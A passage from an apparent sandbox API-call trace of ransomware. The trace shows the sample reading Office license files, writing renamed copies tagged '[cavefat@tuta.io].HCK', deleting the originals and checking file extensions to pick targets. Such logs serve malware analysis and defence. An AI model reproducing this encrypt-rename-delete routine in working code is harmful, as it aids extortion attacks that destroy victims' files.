Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.603] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.603] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.604] GetLastError () returned 0x0 [0238.604] ReadFile (in: hFile=0x55c, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4df2, lpOverlapped=0x0) returned 1 [0238.606] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0238.607] ReadFile (in: hFile=0x55c, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.607] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x118, lpOverlapped=0x0) returned 1 [0238.607] SetEndOfFile (hFile=0x454) returned 1 [0238.607] CloseHandle (hObject=0x454) returned 1 [0238.607] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.607] SetEndOfFile (hFile=0x55c) returned 1 [0238.610] CloseHandle (hObject=0x55c) returned 1 [0238.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1 [0238.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.611] lstrlenW (lpString=".doc") returned 4 [0238.611] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.611] lstrlenW (lpString=".docx") returned 5 [0238.611] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.611] lstrlenW (lpString=".pdf") returned 4 [0238.611] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.611] lstrlenW (lpString=".xls") returned 4 [0238.611] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.611] lstrlenW (lpString=".xlsx") returned 5 [0238.611] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.611] lstrlenW (lpString=".ppt") returned 4 [0238.612] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".zip") returned 4 [0238.612] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".rar") returned 4 [0238.612] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".bz2") returned 4 [0238.612] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".7z") returned 3 [0238.612] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".dbf") returned 4 [0238.612] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".1cd") returned 4 [0238.612] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".jpg") returned 4 [0238.612] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".doc") returned 4 [0238.612] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".docx") returned 5 [0238.612] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.612] lstrlenW (lpString=".pdf") returned 4 [0238.612] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".xls") returned 4 [0238.612] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".xlsx") returned 5 [0238.612] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.612] lstrlenW (lpString=".ppt") returned 4 [0238.612] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".zip") returned 4 [0238.612] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".rar") returned 4 [0238.612] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".bz2") returned 4 [0238.612] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString=".7z") returned 3 [0238.612] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".dbf") returned 4 [0238.612] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.612] lstrlenW (lpString=".1cd") returned 4 [0238.612] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0238.613] lstrlenW (lpString=".jpg") returned 4 [0238.613] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.613] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.613] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31 [0238.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.613] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10659) returned 1 [0238.613] CloseHandle (hObject=0x55c) returned 1 [0238.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0238.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.614] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.614] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.615] GetLastError () returned 0x0 [0238.615] ReadFile (in: hFile=0x55c, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0238.617] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0238.618] ReadFile (in: hFile=0x55c, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.618] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x112, lpOverlapped=0x0) returned 1 [0238.618] SetEndOfFile (hFile=0x454) returned 1 [0238.618] CloseHandle (hObject=0x454) returned 1 [0238.618] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.618] SetEndOfFile (hFile=0x55c) returned 1 [0238.620] CloseHandle (hObject=0x55c) returned 1 [0238.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1 [0238.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.622] lstrlenW (lpString=".doc") returned 4 [0238.622] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.622] lstrlenW (lpString=".docx") returned 5 [0238.622] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.622] lstrlenW (lpString=".pdf") returned 4 [0238.622] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.622] lstrlenW (lpString=".xls") returned 4 [0238.622] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.622] lstrlenW (lpString=".xlsx") returned 5 [0238.622] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.622] lstrlenW (lpString=".ppt") returned 4 [0238.622] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.622] lstrlenW (lpString=".zip") returned 4 [0238.623] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".rar") returned 4 [0238.623] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".bz2") returned 4 [0238.623] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".7z") returned 3 [0238.623] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".dbf") returned 4 [0238.623] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".1cd") returned 4 [0238.623] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".jpg") returned 4 [0238.623] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".doc") returned 4 [0238.623] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".docx") returned 5 [0238.623] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.623] lstrlenW (lpString=".pdf") returned 4 [0238.623] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".xls") returned 4 [0238.623] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".xlsx") returned 5 [0238.623] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.623] lstrlenW (lpString=".ppt") returned 4 [0238.623] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".zip") returned 4 [0238.623] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".rar") returned 4 [0238.623] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".bz2") returned 4 [0238.623] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString=".7z") returned 3 [0238.623] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".dbf") returned 4 [0238.623] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".1cd") returned 4 [0238.623] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0238.623] lstrlenW (lpString=".jpg") returned 4 [0238.624] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.624] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.624] lstrlenW (lpString="HomeBusinessR_Retail2-ppd.xrm-ms") returned 32 [0238.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.624] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=22092) returned 1 [0238.624] CloseHandle (hObject=0x55c) returned 1 [0238.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0238.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.625] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.625] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.626] GetLastError () returned 0x0 [0238.626] ReadFile (in: hFile=0x55c, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x564c, lpOverlapped=0x0) returned 1 [0238.628] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5650, lpOverlapped=0x0) returned 1 [0238.632] ReadFile (in: hFile=0x55c, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.632] WriteFile (in: hFile=0x454, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x114, lpOverlapped=0x0) returned 1 [0238.632] SetEndOfFile (hFile=0x454) returned 1 [0238.632] CloseHandle (hObject=0x454) returned 1 [0238.632] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.632] SetEndOfFile (hFile=0x55c) returned 1 [0238.844] CloseHandle (hObject=0x55c) returned 1 [0238.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1 [0238.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.861] lstrlenW (lpString=".doc") returned 4 [0238.861] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString=".docx") returned 5 [0238.861] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.861] lstrlenW (lpString=".pdf") returned 4 [0238.861] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString=".xls") returned 4 [0238.861] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString=".xlsx") returned 5 [0238.861] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.861] lstrlenW (lpString=".ppt") returned 4 [0238.861] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.861] lstrlenW (lpString=".zip") returned 4 [0238.861] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString=".rar") returned 4 [0238.861] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString=".bz2") returned 4 [0238.861] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString=".7z") returned 3 [0238.861] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.861] lstrlenW (lpString=".dbf") returned 4 [0238.861] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.861] lstrlenW (lpString=".1cd") returned 4 [0238.861] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.862] lstrlenW (lpString=".jpg") returned 4 [0238.862] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.862] lstrlenW (lpString=".doc") returned 4 [0238.862] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString=".docx") returned 5 [0238.862] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.862] lstrlenW (lpString=".pdf") returned 4 [0238.862] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString=".xls") returned 4 [0238.862] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString=".xlsx") returned 5 [0238.862] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.862] lstrlenW (lpString=".ppt") returned 4 [0238.862] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.862] lstrlenW (lpString=".zip") returned 4 [0238.862] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString=".rar") returned 4 [0238.862] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString=".bz2") returned 4 [0238.862] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString=".7z") returned 3 [0238.862] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.862] lstrlenW (lpString=".dbf") returned 4 [0238.862] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.862] lstrlenW (lpString=".1cd") returned 4 [0238.862] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0238.862] lstrlenW (lpString=".jpg") returned 4 [0238.862] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.862] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.863] lstrlenW (lpString="HomeBusinessR_Trial-ul-oob.xrm-ms") returned 33 [0238.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), 